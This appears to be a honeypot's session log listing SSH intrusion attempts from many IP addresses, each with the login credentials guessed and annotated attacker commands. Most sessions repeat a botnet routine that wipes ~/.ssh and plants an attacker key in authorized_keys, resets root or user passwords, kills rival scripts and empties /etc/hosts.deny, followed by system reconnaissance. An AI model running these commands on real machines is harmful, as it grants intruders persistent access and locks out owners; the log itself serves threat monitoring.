$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "won\nFbWFhwRW17n8\nFbWFhwRW17n8"|passwd|bash

$ Enter new UNIX password:

$ echo "won\nFbWFhwRW17n8\nFbWFhwRW17n8\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_40 (185.174.69.65) — Mahmutbey, Turkey · 1 session · 20 cmds

2026-06-30 06:08 EDT · as test/teste

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "teste\nmzOKiqCAbgPk\nmzOKiqCAbgPk"|passwd|bash

$ Enter new UNIX password:

$ echo "teste\nmzOKiqCAbgPk\nmzOKiqCAbgPk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 strudel_root_15 (5.44.111.149) — Dortmund, Germany · 1 session · 1 cmd

2026-06-30 06:08 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 specter_root_41 (103.148.100.146) — Dalung, Indonesia · 1 session · 19 cmds

2026-06-30 06:06 EDT · as root/Test@123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ntK53UYJLiiD"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 steppe_root_2 (95.165.77.31) — Moscow, Russia · 1 session · 19 cmds

2026-06-30 06:05 EDT · as root/Hello123.

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:XBFjTkfJRguw"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_43 (83.168.89.49) — Warsaw, Poland · 1 session · 20 cmds

2026-06-30 05:58 EDT · as test/adminadmin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "adminadmin\nw12VuyHm6s1h\nw12VuyHm6s1h"|passwd|bash

$ Enter new UNIX password:

$ echo "adminadmin\nw12VuyHm6s1h\nw12VuyHm6s1h\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_42 (91.151.18.27) — Vienna, Austria · 1 session · 1 cmd

2026-06-30 05:54 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 phantom_root_50 (195.64.155.51) — Kharkiv, Ukraine · 1 session · 1 cmd

2026-06-30 05:51 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 yankee_root_13 (205.196.210.87) — Portland, United States · 1 session · 1 cmd

2026-06-30 05:51 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 shadow_root_44 (151.33.37.34) — Turin, Italy · 1 session · 19 cmds

2026-06-30 05:49 EDT · as root/Jack@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:9i0IIBNQIRKf"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_root_14 (69.163.185.55) — Hillsboro, United States · 1 session · 1 cmd

2026-06-30 05:43 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 frost_root_6 (185.114.247.54) — St Petersburg, Russia · 1 session · 1 cmd

2026-06-30 05:32 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 cowboy_root_14 (104.37.86.24) — Detroit, United States · 1 session · 1 cmd

2026-06-30 05:29 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 shadow_root_45 (45.120.216.232) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-06-30 04:51 EDT · as ubuntu/!qaz2wsx

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "!qaz2wsx\n5vRWDuZtALS3\n5vRWDuZtALS3"|passwd|bash

$ Enter new UNIX password:

$ echo "!qaz2wsx\n5vRWDuZtALS3\n5vRWDuZtALS3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_4 (64.225.17.153) — Clifton, United States · 1 session · 19 cmds

2026-06-30 04:46 EDT · as root/Server@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Vp84jlkXTgYl"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tiger_root_6 (103.70.40.36) — New Delhi, India · 1 session · 20 cmds

2026-06-30 04:43 EDT · as ubuntu/!qaz2wsx

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "!qaz2wsx\nUhrBffm7OWqd\nUhrBffm7OWqd"|passwd|bash

$ Enter new UNIX password:

$ echo "!qaz2wsx\nUhrBffm7OWqd\nUhrBffm7OWqd\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_root_15 (58.209.82.167) — Nanjing, China · 1 session · 1 cmd

2026-06-30 04:05 EDT · as root/root123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 specter_3 (61.219.232.138) — Hsinchu, Taiwan · 1 session · 20 cmds

2026-06-30 03:04 EDT · as children/children

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "children\n8hQvJkhzoMAq\n8hQvJkhzoMAq"|passwd|bash

$ Enter new UNIX password:

$ echo "children\n8hQvJkhzoMAq\n8hQvJkhzoMAq\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_17 (179.32.33.161) — Bogotá, Colombia · 1 session · 19 cmds

2026-06-30 02:07 EDT · as root/88889999

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:vOY8AKNkKAUI"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_17 (140.249.22.89) — Jinan, China · 1 session · 19 cmds

2026-06-30 01:36 EDT · as root/891109

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:tHot02cYVb3K"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tea_root_4 (92.17.7.123) — Dewsbury, United Kingdom · 1 session · 19 cmds

2026-06-30 01:15 EDT · as root/qq123456+

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:4AENNbItm25g"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 spice_root_4 (4.224.40.94) — Pune, India · 3 sessions · 57 cmds

2026-06-30 00:03 EDT · as root/Abc654321, root/hadoop2025, root/test2024

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:0ibWcchH1fxM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:Vme1yHBL9Lpb"|chpasswd|bash

$ echo "root:TtdsyTonJy4p"|chpasswd|bash

🎭 eagle_root_12 (172.174.5.146) — Boydton, United States · 1 session · 19 cmds

2026-06-30 00:23 EDT · as root/Frank@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

